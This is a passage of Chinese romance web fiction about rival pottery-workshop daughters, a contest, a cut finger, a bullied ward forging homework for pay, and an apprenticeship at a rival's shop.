于是杜师傅就看到奇怪的一幕。
上一秒,江云锦拿起竹拍拍打泥团,下一秒,对面的柳芸同样也拿起竹拍,朝着同样的方向拍打泥团,两个泥团竟然形成了一模一样的形状。
杜师傅不信邪,继续看。
江云锦的指节挑起逐渐成形的杯身,勾出浑然天成的弧度;过了一会儿,柳云同样,伸出手指,绕着杯身,旋转成弧度。
江云锦过度投入在比赛中,并没有注意到柳芸的动作。
这一幕,却被杜师傅收入眼中。
这柳家小丫头竟然是在现场偷师!他连连惊叹,虽然还是觉得这丫头不自量力,但又赞叹她的记忆和学习能力,陶艺不是寻常简单的看一遍就可学会的,需要掌握恰到好处的力度和准度。可以说,学了多少年都掌握不好力度的人都大有人在。
这天赋。杜师傅暗暗称奇。
江云锦手下的泥团逐渐成型,她心中微微得意,嘴角轻轻翘起。
她从小厮得到的小道消息,这柳芸是前几周才开始接触陶艺。她怎么可能比得过自己?
江云锦拿出削坯刀,贴着杯壁旋转,她手执刀柄开始剔刻云纹。
杜师傅看了又是一惊,江家小姐居然已经能雕刻云纹!他记得这丫头也才十四岁,这么小的年纪竟然已经学会雕刻云纹。
且看她神色平常,俨然是胸有成竹的样子。
不得了了。杜师傅摸了摸胡须,今天这趟比赛他原以为是小孩子过家家的无聊赌注,原本不想来的,但江家愿意出重金,他闲着也是闲着,便来看看。
没成想,这两个丫头都是天赋异禀。杜师傅难免有些惋惜,可惜都是女子,若是男子,前途不可限量啊。
却说柳芸看到这一幕,心想江云锦果然是有些本事,表情也是从容不迫,云纹逐渐在她的精准掌控下,绕着杯身浮现,蜿蜒如游龙。
柳芸心一横,学着她的样子,也从工具箱拿出修坯刀。刀片在陶泥上旋转,柳芸逐渐从不熟悉到熟悉,感受着不同力度下陶泥的变化,突然有一刹那仿佛脑海中灵光乍现,有了些感悟。
但谁知下一秒,刀片剔刻云纹时,手腕一转,刀刃竟然直直划开了她的指腹,柳芸眼疾手快,赶紧收回手,但为时已晚,手指已经被划开一道血口了。
“嘶——”柳芸痛得抽了口气,发出一声低呼。
血珠瞬间从伤口蹦出,掉落在陶泥上,来不及移开,陶泥已是面目全非。修坯刀“当啷”一声落在地上。那方未刻完的流云杯坯失了支撑,侧歪磕出缺角,湿泥混着血珠黏了满指。
江云锦那边也听到动静,停下动作,抬头望过来。
沈素最先反应过来,立马围上来查看情况。
她眼睛红红的,看见柳芸受伤,又惊又怕,哽咽:“芸娘,出血了,痛不痛?”
春桃等一众丫鬟们俱围上来。
唯独裴济之脚底扎根,一动不动,眼神冷漠。
陶肆的动静引来了不少围观者。
众人纷纷询问情况,搞清楚了来龙去脉,随即低低的议论声便絮絮扬扬漾开——
“哎,这姑娘手法也太生了,剔纹哪能这么急?”
“可不是嘛,方才还嘴硬得很,这下摔了跟头咯,刀工稳都做不到,还敢来比?”
“你看那坯子磕的,胎体本就偏了,心浮气躁的,陶匠最忌这个。”
“倒是另一位的手法地道,一看就是练了多年的,这对比也太明显了。”
“不过这姑娘长得
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倒是十分漂亮……”
“诶诶!说的是这个嘛!”
……
几句低语落进耳里,柳芸因为失血变白的脸色更白。
江云锦收拾了一下衣服上沾染的污渍,站起身,唇角勾起一抹冷笑,将修坯刀轻搁案面,指尖摩挲着自己刚成的清韵杯沿,语气带着毫不掩饰的嘲讽:“芸娘,方才不是还嘴硬?怎么,连握刀的手都稳不住,也敢来跟我比陶艺?”
说着,她上前半步,目光斜睨着柳芸:“你不会赖账吧?”
沈素攥着柳芸的手,听见江云锦还在挑衅,涨红了脸,动了气:“江云锦,你够了,她受伤了!”
谁料,江云锦声音更冷:“我道是芸娘有几分真本事,原来不过是虚张声势。心浮气躁,手法生疏,连最基本的刀工都练不精,还敢夸口谈陶艺,简直是贻笑大方。”
难听的话砸在众人心头。
沈素绷不住,差点哭出来。
柳芸流血的指腹还在疼,她垂眸盯着案上的残坯与血泥,唇抿得死紧,末了她抬眼看着江云锦,认真地道:“我愿赌服输,说到做到。”
江云锦见她这副模样,收回目光,语气轻慢:“行,那江家陶肆就静候柳大小姐的光临了。”
说完,她挥了挥衣袖,哼唱着小曲儿,悠哉游哉离开了。
众人皆随着她离开。
“芸娘,你何必理会,你不认账,她还能怎么你不成?”沈素劝她。
柳芸却摇摇头,目光闪烁:“大丈夫不可言而无信。我是女子也是同样的。”
沈素劝不动好友,只有默默流泪,丫鬟们打来温水,要给柳芸处理伤口。
此刻陶肆内就剩下柳芸一行人。
她突然想起什么,转过头,果然看见裴济之脸上来不及褪下的笑容。
他在笑什么?笑她不自量力?
裴济之没料到柳芸会毫无预兆地看过来,他方才全程目睹一切,见到柳芸受伤,只觉这女魔头活该,终于得到了报应,也活该她吃吃苦头。
谁知,被她抓了个正着,幸灾乐祸的表情还来不及收敛。
柳芸脸上不见恼怒,反倒让他摸不准她到底要干什么。
“裴济之,你上前来。”柳芸掀了掀唇。
她语气平淡,但带着不容置喙。
春桃等一众丫鬟识趣退下。
“替我包扎。”
裴济之眉峰几不可察地蹙了一下,垂在身侧的手攥了攥,终究还是迈步上前。
他寄人篱下,事事受制于人,连这般琐碎之事,也不得不从。
他没碰她的手,只冷着脸取过春桃递过来的药箱,动作带着明显的生硬。
柳芸垂眸盯着蹲在自己面前包扎伤口的少年,裴济之的眼睫毛很长,在他的脸上投下一片阴影。她才看清那双手,肤色是常年不见日光的冷白,指节分明,骨相冷硬,掌心却覆着一层薄茧。
裴济之指尖捏起一块药棉,刻意避开了她的肌肤,蘸了金疮药便往她伤口上按,力道重了些,疼得她指尖微缩。
柳芸冷哼一声,一把将流血的手从他手中抽出,一巴掌打在他脸上:“你弄疼我了!”
9. 处好关系?
裴济之被她用力一扇,偏了偏头,冷白的脸上立刻浮现出红色的巴掌印,他的眼睑低垂,看不清表情。
柳芸掐住他的脸,俯下身子靠近,她的手指还在淌血,血珠抹在他的脸上,鲜红一片。
“叫你轻点。”
柳芸皱眉。
裴济之复又抓起她的手腕,比之前还是松了力道,但动作还是僵硬。
缠纱布的时候,他的手指绕得飞快,草草打了个结,便要松手。
柳芸却忽然反手扣住他的手腕,抬眸看着他:“裴济之,你是在给本小姐包扎,还是在捆柴?”
裴济之抬起头,眼底是惯常的冷硬与隐忍。
可当他忽然看到柳芸眼底因为疼痛而泛起的红晕,眸光微顿,挪开视线。
他耐着性子,蹲在地上,重新拆开柳芸手上的纱布,动作刻意放轻,认真地将纱布一圈一圈,绕得规规整整,最后他在她手指上打了一个漂亮的结。
“您满意了吗?小姐。”裴济之抽回手语气冷淡。
柳芸看着手指上那方干净的纱布,又看见裴济之紧绷的下颌,她唇角微弯:“算你识相。”
“芸娘,你真的要去江家陶肆当三个月学徒吗?那个江云锦绝对对你不怀好意。”沈素满眼忧心忡忡,双手绞着帕子。
柳芸心里自有打算,江家陶肆这几年可谓是风生水起,与之形成鲜明对比的就是自家的陶肆,父亲甩手掌柜,母亲溘然离世,生意一日不如一日,柳芸想不通,搞不明白为什么同样做陶瓷,江家陶肆比起她家有什么独特的地方。
现在正好有这个机会,她想观察观察,如果有值得借鉴的地方,那就算让她当学徒,也没什么。
她扬起笑容,安慰沈素:“没事,谅她江云锦也不敢对我动真格的。”
“可是……”
“没那么多可是!走,去我家做功课吧,先生布置的功课明日就要上交了。”柳芸打断准备继续絮絮叨叨的沈素。
听到功课,沈素敲了敲自己的脑门:“你不说,我差点忘了!”
“快快快!”
一行人于是浩浩荡荡回去。
柳芸把沈素带到自己的书房,沈素很喜欢来柳府,柳老爷经常不在家,就柳芸一个主子,比在自己家里自在多了。
春桃笑着给两个小姐送上刚沏好的茶水和点心。
直到将书册摊开,柳芸才发现自己受伤的手没法握笔,一用力就疼,写出来的字也七扭八歪,简直是污染眼睛。
她皱眉,表情难看地放下笔。
“芸娘,怎么了?”沈素看见她停下动作,纳闷。
柳芸举起自己包着纱布的手,无奈:“没办法写,写出来的东西自己都看不下去,明日肯定得挨先生批评。”
“那可怎么办?你身边有没有能写字的丫鬟?”沈素帮忙想主意。
柳芸看了春桃一眼,她记得一直有嘱咐春桃好好识字,还给过她几卷诗文。
春桃挠了挠头,脸上有些羞赧:“小姐,我是识字,但写好是万万不行的。”
认字和写字是两个概念啊喂!
柳芸又扫视了一圈手下的丫鬟们,每个人都面露难色。
好吧。柳芸无奈叹气。看来明天这顿批评少不了了。
这时,春桃忽然想到什么,凑到柳芸耳边小声说:“小姐,没准裴公子那边能帮您。”
柳芸拍了拍手:“你说得对~走,去柴房看看。”
沈素想跟着去,被柳芸摁下:“我去去就回,你忙功课要紧。”
裴济之点上烛火,今天下午陪着柳芸去江家陶肆已经耽误了很多时间,他决定今晚要挑灯夜读,早日考取功名,也好逃离这个地方。
正专心念诵诗文,柴房的门突然被敲响。
“谁?”裴济之提高警惕。
“是我。”柳芸道。
裴济之蹙眉,摸不准这大小姐这么晚了来他这边做什么。
他披上衣服走过去开门。
柳芸就站在门口,上上下下打量裴济之。
对方只穿了件单衣,料子特别薄,泛着旧旧的灰,领口磨出了毛边,外面套一件长衣作披风,松松垮垮挂在他瘦削的肩头。
“你怎么穿这么少?”柳芸皱眉。
又或许是觉得听上去有点像在关切他,加了一句:“也不怕被冻死。”
然后推开他的肩膀,径直走进屋。
柴房里堆满了书册,但是整理得紧紧有条,就像裴济之本人一样,虽然寄人篱下,但不会失去骨子里的傲气。
裴济之站在门口,转身看着她动作,风一吹,那身形更显得清瘦。
其实他屋子真的没什么可看的,柳芸四下打量了一下,就往裴济之的书案走去。
书案上摆着一盏蜡烛,一卷竹简摊开在裴济之刚刚阅读的那一卷。
柳芸看到了春和先生今日布置的功课。上面密密麻麻写满了娟秀小楷,显然裴济之已经写完了。
她嘴角翘起,正要伸手去拿,下一秒,一只修长的大手伸到她面前。
柳芸没有防备,手中的书册被夺走,人也往后踉跄了几步,险些摔到地上。
春桃心中一惊,急忙上前搀扶,嘴里责怪:“裴公子,你这人怎么回事!”
裴济之握着书卷,目光落在柳芸身上,语气冰冷:“谁允许你动我的东西。”
“欸,你这人,怎么同小姐说话的!”春桃最看不得有人对自家小姐不敬,此刻也顾不得对方是什么身份了,生气质问。
但裴济之不理她,只盯着柳芸。
柳芸稳住身形,示意春桃住嘴,她虽然心中不悦,但思及来到此处的目的,还是压下心中不满,努力放缓语气:“我不计较你刚才的失礼,但有一件事情需要你完成。”
“你凭什么觉得我会帮你做事?”裴济之嘴角露出嘲讽,“你又要用鞭子打我吗?”
“那你想要什么?只要你帮我做这件事,我可以答应你一个要求。”柳芸找了把勉强能坐的椅子坐下。
裴济之顿了顿,他没料到柳芸会这么回答。
“你想让我做什么?”裴济之提高警惕,他要先搞明白柳芸到底要干什么。
柳芸举起自己受伤的手,在他眼前摆了摆,没好气:“我的手现在拿不了毛笔,你替我做功课。”
“为什么不去找别人?”裴济之皱眉。
“我的丫鬟们写的字没你好。”柳芸方才扫了一眼,裴济之的字确实不错。
“容易被先生认出来。”裴济之道。
柳芸见他这么问,知道这件事有的聊,心中一喜,转头吩咐春桃:“你去把我从前写的东西拿过来。”
然后她又转头对裴济之
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道:“所以就得麻烦你模仿我的字迹。”
“我不会。”裴济之干脆。
“你会。你必须会。”
柳芸语气不容置疑。
“那你能给我什么?”裴济之问。
柳芸挑眉:“看你想要什么?”
裴济之顿了顿,似乎在思考,一时没有继续说话。
屋内顿时安静下来。
柳芸也不着急催促他,她也很好奇像裴济之这样的人会跟她提什么要求。
从小到大,身边的人有求于她,不外乎金钱。
不过柳芸无所谓,她缺什么都不会缺钱。
等待的空隙,春桃抱着书册进来。
柳芸随手挑了一本,递到裴济之面前:“你看看吧,我的字迹。”
裴济之伸手接过,她递过来的是一本临摹的佛经。
看到是佛经,裴济之心中冷笑连连,待到翻开书卷细看,字写得十分娟秀,笔画纤细而不孱弱,工整而不呆板,急缓有度,行云流水。
“如何?”柳芸目光带着探究。
裴济之颔首:“我只能说尽量。”
“你想好了吗?要什么?”
裴济之目光定在柳芸的脸上,语气坚定:“钱。我要钱。”
就知道这样。
柳芸并不意外,但她顿觉无趣。
站起身,将手腕上的一串金镯子摘下来,扔在他桌案上:“这是定金。”
柳芸的脚迈出门槛,头也不回地道:“写完之后我会让丫鬟抬一箱金子过来。”
春桃跟在柳芸身后走出来。
等到了无人处,春桃忍不住吐槽:“小姐,你看他那穷酸样,哪有人直接开口要钱的,这跟路边乞讨有什么区别?”
柳芸笑了一声,轻轻拍了拍春桃的脸:“春桃,你若是也能模仿我的笔迹,这钱我也是愿意给的。”
春桃的脸涨红,垂下头:“是奴婢多嘴了。”
柳芸拍了拍春桃的肩膀:“他问我要钱比问我要别的反而让我放心,钱能解决的问题都不是问题。”
她顿了顿,目光幽幽:“再说了,这么多人接近我的目的都是为了钱财,不差他一个。”
春桃始终不敢再说话。
等回了屋子,柳芸吩咐春桃:“去告诉裴济之,我的伤口每天都要换药,这伤好之前,他每天都得给我准备好泡手的草药,少一味就罚他去劈够三天的柴。”
“是。”春桃应下。
沈素迎上来:“都解决了?”
柳芸含笑:“应该没问题了。”
沈素啧啧:“你家这位还算有点本事的,我说你真不打算和他处好关系?”
“素素,你可知道玄武门之变?”柳芸闻言,敛了笑意。
沈素见她表情严肃,也认真点了点头。
“唐太宗也曾和李建成并肩作战,兄弟同心,你说二人为何走到这一步?”
沈素:“因为储位。”
“从小到大,所有人都默认我是柳家唯一的继承人。但父亲将裴济之领回家,让他做我兄长。”柳芸目光幽幽,“比起我这个女儿,你说我父亲百年之后,会不会将家产全部留给他?素素,我不敢赌,我一想到母亲留下的陶肆落入他人之手我会难过。”
“在利益面前,人性太脆弱了。我不可能和他和平共处。”
10. 邀请
裴济之一大早就醒来了。
他将昨日誊抄好的书卷交给春桃,然后立在柳芸屋门口等候她传令。
“进来吧,换药。”
柳芸的声音听上去懒洋洋的,带着还未完全苏醒的慵懒。
她伸了个懒腰,打了个哈欠。
这时,裴济之已经推开门,端着药箱进来了。
柳芸看了他一眼,随口问:“昨天交代你的事情做完了?”
裴济之点头,他撩起长衫衣摆,半跪在柳芸身边。
柳芸伸出自己受伤的右手。
裴济之一只手捏着她的手腕,另一只手小心地揭开纱布。
“春桃昨日同你说了吧,我泡手的草药有三味,少一味都不行。”柳芸垂眸看着他。
裴济之从药箱里端出冒着热气的瓷碗,里面盛的正是熬好的药汁,他比往日起得更早才熬好的这个药,他拉过柳芸的手。
将她的手放进药汤。
柳芸能清楚地感受到温热的草药汁瞬间裹住指尖。
她蹙眉:“水温烫了,下次兑点温水。”
她下意识想要抽回手,裴济之不语,却加重了力道。
柳芸只觉得自己的手腕像是被一只铁钳牢牢夹住,无法动弹。
“放肆——”她刚想开口呵斥。
却被裴济之打断:“别乱动,药效会打折扣。手指上会留疤。”
听到会留疤,柳芸安分下来,没有继续挣脱。
裴济之心中冷笑,骗人的鬼话她居然也信。
药香弥漫在屋子里,混杂着裴济之从外头带来的凌冽的寒气扑面而来。
浓烈的药气也熏得裴济之眉梢微蹙。
他将手伸进药汁中,找寻她的手。
将指腹贴近她受伤的手指。
他的手指特别冰冷,冻得昏昏欲睡的柳芸一个激灵。
“你干嘛?”柳芸瞪着他,指尖一缩,俨然被冒犯的愠怒。
“活血化瘀。”裴济之抓住她的手腕,防止她乱动。
指腹僵硬地顺着她的指节揉捏,没什么手法可言,甚至掌握不好力道,弄得柳芸连连皱眉。
少女的手指很软,同她糟糕的性格截然不同。裴济之也是第一次握住女子的手,虽然只是因为要上药。
这对他而言确实是新鲜的体验。柳芸的手很小,手指纤细,指腹薄而软,指甲修剪得很干净,同他长满粗糙老茧的手掌完全不同。
裴济之看着她泡在药汤里的手,指尖泛着温润的红色,软乎乎地蜷在药盆里。
时候差不多了,裴济之毫不拖泥带水地抽回手,春桃站在一侧,递过来一块儿干净的帕子。
裴济之将帕子展开,平铺在自己的掌心。
柳芸将手上的药水揩在帕子上。
然后是一系列繁琐的重新上药、包扎……
“小姐,到时间了。”春桃为柳芸梳好发髻。
柳芸点头:“去学堂。”
走进学堂,裴济之就与柳芸分道扬镳。
柳芸刚在自己位置上坐下。
二虎突然凑上来,肥脸上挤出油腻的笑容:“芸娘,听说你昨日同江云锦比试输了。”
此话一出,四周的人都看过来。
二虎其实本名不叫二虎,他爹是衙门里的文书,二虎有个很文雅的名字,姚文。
但由于他体型过于肥胖,又经常没脑子,大家就给他取了个绰号叫二虎。
当然没人敢当着他的面叫他二虎,不然绝对被这小子撕碎。
柳芸不怕这些,二虎他爹经常问柳父借钱,二虎也打不过她,但二虎这小子经常挑衅她,实在令人烦不胜烦。
姚文身边一群好吃懒做的世家子弟拥护,这群人此刻都面露嘲讽。
姚文:“怎么样柳芸,被人打败的滋味不好受吧?”
柳芸冷笑:“二虎,这句话也送给你,你不过是我的手下败将罢了。”
被她这么一说,姚文脑海中回想起当日嘲讽柳芸即将失宠反被她殴打一顿……狼狈不堪的模样。
幸好没人看见。姚文舒了口气。
但想起这件事,他再面对柳芸时,心里就有些没底气。
姚文胖手一甩,放了句没什么威慑力的狠话:“行行行,柳芸你给我等着!”
待看热闹的人走了之后,沈素忧心忡忡:“芸娘,不打紧吧?”
柳芸凑过去,覆在她耳侧低声说:“你是没见过姚文他爹对着我爹卑躬屈膝要钱的样子。”
说着,她捂着嘴笑出声。
“姚文可真是的…何必总寻你麻烦?”沈素抱怨。
柳芸耸耸肩:“谁知道呢,可能是因为喜欢江云锦吧。”
“啊?”沈素发出一声惊呼,意识到自己失态,急忙捂住自己嘴巴,压低声音,“真的假的?这话不能乱说!”
“不信,你瞧。”柳芸指了指江云锦的方向。
只见姚文放完狠话之后果然朝着江云锦方向去了。
江云锦还在试图和裴济之拉近关系,但后者只顾埋头念书,不怎么搭理她。
江云锦心里恼火,抬头就看见一个胖子扭扭捏捏朝自己笑。
但鉴于对方对自己还有用,她压抑住心中的不耐烦,努力让自己表情看上去好看一点:“姚文,你找我有事吗?”
“锦娘,我方才已经替你教训过柳芸了,谁让她不知好歹。”姚文搓着手嘿嘿笑,一脸谄媚。
听到柳芸的名字,裴济之翻着书卷的手几不可察地顿了顿。
“哦?”江云锦朝柳芸的方向望过去。
可巧,柳芸正等着她呢,见她看过来,随即做了个鬼脸,大拇指翻转向下。
江云锦杏眼圆瞪,没好气地扭过头:“废物,你这也好意思说替我教训过她了?”
“锦娘,你说什么?”
学堂里进来的人渐渐多起来,有人开始朗诵,有人开始讨论,环境变得嘈杂,姚文没听清江云锦的话。
江云锦勉强挤出笑容:“我没说什么,你先回到自己座位上吧,春和先生要来了。”
听到春和先生的名字,姚文立刻夹起尾巴做人,他最怕先生抽他回答问题了,经史子集,他是一窍不通啊。
江云锦忽然想起什么,朝裴济之的方向靠近,方凳在石面上摩擦发出相声。
裴济之警惕地看向她:“你要做什么?”
“欸,大家都是同窗,说说话还不行吗?”江云锦眨了眨眼。
裴济之伸出手挡住:“说话可以,但不必离这么近。”
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江云锦不满地跺了跺脚,但还是乖乖将方凳挪回去几寸。
“芸娘是不是总欺负你?”江云锦开门见山。
裴济之没想到她要聊柳芸,皱了皱眉,没吭声。
“看你这反应,肯定是了!”江云锦拍了拍手,做出咬牙切齿的样子,“她这人眼高于顶,嚣张跋扈,太可恶了!我就非常看不惯她!”
说完,她凑近裴济之,压低声音:“子璋兄,我知道你也讨厌她,对不对?”
裴济之摸不准江云锦葫芦里卖的什么药,在他观察之下,江云锦和柳芸绝对是同一类人。
这人总向自己示好,但眼里没有半分真诚。
说实话,他是真的不想再同这类人接触,他甚至开始反思,是不是自己太倒霉了,所以才接二连三遇到这类人?
江云锦盯着裴济之,但裴济之面无表情,她看不出破绽,只好将自己的本意说出:“既然我俩都讨厌柳芸,何不联手?”
说着,江云锦向裴济之伸出手,语气带着期待和邀请。
她是很有把握裴济之会接受的,她想帮家族拿到陈县令的生意,裴济之肯定想脱离柳芸的掌控,敌人的敌人就是朋友嘛!
裴济之扫了一眼江云锦悬在半空的手掌。
他转过头,视线重新落回书卷,淡淡说了一句:“没兴趣。”
江云锦快要翘起的嘴角陡然滞住,她愣住,显然没想到裴济之会这么干脆利落拒绝她。
在她看来,他现在手无缚鸡之力,根本没有可以与柳芸对抗的能力,同江家合作,才是他最明智的选择。
不自量力。
江云锦脑海中瞬间浮现出这个评价。
她努力控制自己的表情,挤出微笑:“为什么?能不能给我个理由?我觉得你同我合作,是绝对不会亏本的买卖。”
“没必要。”裴济之直截了当。
他想要做什么事情,想要报复谁,靠他自己就行,多一个人只会变成累赘。
狗咬吕洞宾,不识好人心。
江云锦咬了咬唇,暗骂裴济之不识好歹。
罢罢罢,没有他,她江云锦也能成事。
“那好吧,不过咱俩今天的对话……”
裴济之明白她的意思:“我不会说出去的,就当没发生过。”
春和先生走进学堂。
他怀抱着数卷书册,逡巡了一圈,学子们已经安静下来,踏踏实实诵读诗文。
他满意点了点头,欣慰地抚了抚胡须。
“昨日布置的功课我已经基本阅过一遍了。”春和先生轻咳两声,示意众人朝他看过来。
春和先生从一沓卷子里抽出三册:“有三位学生答得非常好,我要表扬一下。”
所有人都屏息凝神,心脏砰砰跳。
春和先生的视线落在沈素脸上,沈素心中一跳。
“学生沈素,这套题答得言之有物,将我昨日堂上讲解的内容吸收得很好,理解很透彻。我评为第三名。”
沈素被先生当众夸奖,腰背挺得笔直,但耳朵尖微微泛红。
柳芸转过头,朝她竖起大拇指:“厉害啊素素。”
她还在忙着赞美朋友,下一秒,台上的春和先生开口:“第二名,柳芸。”
11. 学徒
听到自己的名字,柳芸的诧异不亚于在场所有人。
春和先生拿起书卷举到眼前细细端详,指尖划过字迹,突然抬头看向柳芸:“这字倒是比往日沉稳了许多,只是这‘釉’字的起笔,倒有几分像…”
话没说完,春和先生仿佛想起来什么,目光扫过另一旁端坐的裴济之,他捏着书卷的手微不可察一顿。
柳芸的心提到嗓子眼,正要辩解。
春和先生却放下卷子笑了:“罢了,你手伤了还能写成这样,想来是有人在旁指点了。”
他举起最后一份卷面:“裴济之这篇文章写得非常优秀,针砭时弊,遣词造句都已经入木三分,我发下来,大家都互相传阅学习。”
姚文之前看到江云锦同裴济之示好结果裴济之还不领情,就对这小子十分看不惯。
他冷哼一声,扭头对同桌兼狗腿子说:“我看先生也是上了年纪了,这裴济之才来了几天学堂,文采再好还能跃过天去?”
狗腿子觉得有道理,附和:“没准人家得到了先生特殊待遇。”
姚文:“你说的对,他现在是柳家的人,没准是先生是看在柳家面子上。”
“啪!”戒尺猛地敲击桌面。
在座的人都吓了一跳。
春和先生耳朵特别好,姚文座次又离他近,好巧不巧被他全听见了。
春和先生皱着眉,抽出姚文的卷子:“这是这次功课完成得最差劲的学生,我将两篇文章放在一起分发下去,通过对比可以更好发现问题。”
姚文刚开始并不知道春和先生拿出的文章正是他自己这份儿。还在洋洋得意和自己的小跟班讨论裴济之走后门的猜测。
可他觉得周围的学子向他投来的目光有些异样,同情?怜悯?
怎么回事?
直到文章传到他手上,姚文低头看见卷首赫然写着自己的大名……
姚文此刻恨不得找个地缝钻进去,他的肥脸上肉抖了抖,但他强装镇定,他坚信一定是裴济之使了手段让先生开后门,对,一定是这样。
他佯装从容地拿起两篇文章,仔细看了起来。
离得近的人看到姚文的脸色越来越难看,捏着卷的手止不住颤抖。
其实,只要看过这两篇文章的人心里都有杆秤,裴济之写得太好了,媲美家中有做官的父辈写的奏章和文书。
将姚文写的一堆狗屁不通的东西与之放在一起简直是云泥之别。
沈素和柳芸也翻过了这两篇文章,沈素此时正趴在柳芸肩头偷偷笑:“姚文写的都是些啥,春和先生也太残忍了。”
柳芸倒是将注意力更多放在裴济之展现出来的才华上,她有些不是滋味。
论文章而言,柳芸已经清楚明白自己天赋是不如他的。
这让她感到有些挫败。
父亲自己是个商人,但最羡慕的就是那些读书人。柳父一直耳提面命让她来进学,就是在她身上寄托了博学的期待。
柳芸自己清楚自己,比起锦绣文章,她更感兴趣的是算学,是如何经营店铺。
裴济之的文学天赋压她一筹,会不会就此得到父亲青眼?
万一他真的考取功名?
柳芸闭上眼睛,有点不敢想。
一堂课下来,众人都各怀心事。
春和先生收拾物什正要走,裴济之却上前走到他身边,朝春和先生作揖。
春和先生见他模样,叹了句:“你这孩子,护人也不知遮掩。你打算让老师是早就看穿了,还是此刻才反应过来?”
裴济之语气淡淡:“实在是受人所托,不得已为之。”
春和先生对这个学生是很看好的,以他的阅历,这少年将来必成大器,他不希望看到他因为私人感情耽误前程。
他叹了口气,拍了拍裴济之的肩膀,语重心长:“不要被儿女情长耽误锦绣前程。”
裴济之知道先生明显是误会他了,但他懒得再解释,这种事情只会越描越黑。
送先生出门之后,他回头正好撞上柳芸。
柳芸狐疑:“你刚才同先生说了什么?是不是把我卖了?”
裴济之:“先生他已经猜到了。”
柳芸仔细端详他神色不似撒谎,又觉得自己怕春和做什么,摆了摆手:“罢了,他发现也没关系。”
末了,她补充:“今日就要去江家陶肆做学徒,你随我一道去。”
她脸上满是不耐烦,一想到要给江云锦打下手她就心烦。
裴济之也不愿意去,他还想温习功课呢,但没办法,他也没有权利提出抗议。
裴济之想起柳芸送他的那箱黄金,心念动了动。
他已经很久没有联系上家人了,或许可以用这笔钱买通关系,联系父亲的旧部。
无论如何,要为以后早做打算。
父亲的案子他一定要再努力一把。
沈素说要同柳芸一道去做学徒,柳芸拒绝了。
“你要是去了,你爹一定能打死我。”
沈素又叮嘱了一堆让她小心谨慎一些。
柳芸很感激朋友的关心,但实在是耳朵都要起茧子了。
好不容易终于上了去江家的马车,柳芸这才长舒一口气。
春桃在一旁看乐了,用帕子捂着嘴笑:“小姐这副样子许久未见了,倒是同从前夫人在时一样,夫人也总是担心您…”
说到后面,春桃看见柳芸没了笑意,意识到自己说错话了,提到柳芸伤心事,赶紧止住话头,闭上了嘴巴。
柳芸想起母亲,母亲身体不好,从前总是在陶肆制陶,没有注意,不知不觉吸收了太多灰尘,落下了病根。
打她有记忆开始,母亲总是缠绵病榻,但母亲总是放心不下她,每次见到她总是絮絮叨叨询问很多,身边的人服侍得尽不尽心,膳食对不对胃口,衣裳是不是最时兴的款式?
以前总是觉得母亲太啰嗦,现在母亲不在了,再也没有人会这样关心自己,柳芸一时怅然若失。
“小姐,我多嘴了。”
春桃气自己嘴快,垂着头,眼泪都要掉下来了。
柳芸感到眼角湿湿的,抹了一把眼泪。
等到了地方,裴济之等在下面准备抱她下马车。
就见到柳芸的眼尾红红的,睫毛上沾着水珠,连鼻尖也泛着粉红。
裴济之没见过柳芸这副样子。
他记忆中的柳大小姐永远是高高在上,目中无人的。
他心头漏跳了一下,脚步扎根在原地。
“你干什么!还不快点!”柳芸
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皱眉。
柳芸杏眼圆瞪,语气冷硬。
裴济之却知道马车上的女子是故作出耀武扬威的样子,来掩饰内心的脆弱。
他不怒反笑,并没有计较她的呵斥,揽住她的腰,将她放到地上。
江家陶肆的小伙计早就得了小主人吩咐,见到停在自家陶肆前的车马装饰华丽,心里对来者身份有了猜测。
江家与柳家乃是死对头,他当然不可能给江家人好脸色。
此刻,小伙计公事公办行礼:“柳小姐,这边请。”
然后小伙计就带着柳芸穿过长长的走廊,走进一间装潢古朴的屋子。
陶泥的味道扑面而来。
一个四十多岁的长相古板的中年男子朝她看了过来,柳芸皱了皱眉,先叫了一声:“杜师傅?”
这位就是当日主持她和江云锦比试的杜师傅。
杜师傅丝毫不意外来者是她,点了点头,指了指角落里的方凳:“你先坐这儿等着吧。”
然后杜师傅又走到门口,对着裴济之等一众跟着来的服侍的丫鬟小厮道:“你家小姐既然是来当学徒的,学徒就要有学徒的样子,你们这些人以后都不许来!”
裴济之闻言,挑了挑眉。
春桃一听,那哪行,她放心不下小姐,叉着腰,指着杜师傅鼻子就开骂:“欸,我家小姐金枝玉叶的,没人照顾万一磕了碰了怎么办,你们陶肆负得起责吗?”
杜师傅冷着脸,丝毫不通融:“如果小姐不愿意的话,就请回吧。我们陶肆供不起你这尊大佛。”
他自己也是个自视甚高的手艺人,一个小丫鬟也敢对他不敬,他难免心里有些不快。
春桃见他毫不动摇,只得望向柳芸,无助地唤她:“小姐……”
柳芸当然也是不乐意的,但自己确实输了江云锦,她一直以来秉持的原则就是愿赌服输,说好了要给对方当学徒,她不会半途而废。
她朝着春桃摇了摇头,站起身吩咐手下人:“你们先回去吧。只需负责接送我即可。”
见她妥协,杜师傅脸色这才缓和几分。
春桃急得跺脚,她就说江云锦不安好心!小姐一个弱女子,万一有什么意外都没人照应!
大丫鬟不走,其他人也不敢动身真的离家。
一群人僵持在门口。
这时,站在一旁的裴济之突兀地打破平静:“是,那我就回府了。”
然后,他一甩袖子,干脆利落,头也不回地离开了。
“你——”春桃连阻止他的话都没来得及出口,她惊得下巴都要掉下来了。
这个裴济之怎么回事!一点都不会看小姐的脸色吗?他就毫不关心小姐的安危吗?
春桃气得脸色煞白。
柳芸也没错过裴济之的举动,她就知道!
她抱着双臂,冷哼一声。
一旦有人开始动作,其他人也就没那么大压力,渐渐众人都散了。
最后只剩下春桃。
柳芸挥了挥手:“你回去吧,留在这儿没用,这是我的命令。”
春桃咬着唇,最后只得无奈地朝柳芸行礼,一步三回头离开。
“行,从今往后的三个月,你要忘记自己柳家大小姐的身份,跟着我干活。”杜师傅面无表情。
12. 我给他道歉?
杜师傅围上隔脏的麻布走到坯盘后,正准备动手操作。
柳芸坐在下面聚精会神盯着他每一步动作,准备好好学习,偷师技艺。
却有个伙计神色匆忙跑进来,将杜师傅叫走了。
“你且在此处等我。”杜师傅吩咐她。
伙计将杜师傅拉进没人的隔间。
“何事?我正忙着带学徒。”杜师傅将手上的陶泥抹在麻布上。
伙计上气不接下气:“杜师傅,你不会忘了江小姐的吩咐吧。”
杜师傅挑眉:“小姐的意思不是让我带一个学徒吗?”
“哪是真让你带呀?”伙计跺脚,觉得杜师傅真是迂腐,“小姐意思让你好好磋磨她…总之小姐和她…是仇人。”
后面半句伙计压低声音,确认四周没有人听到才说出来。
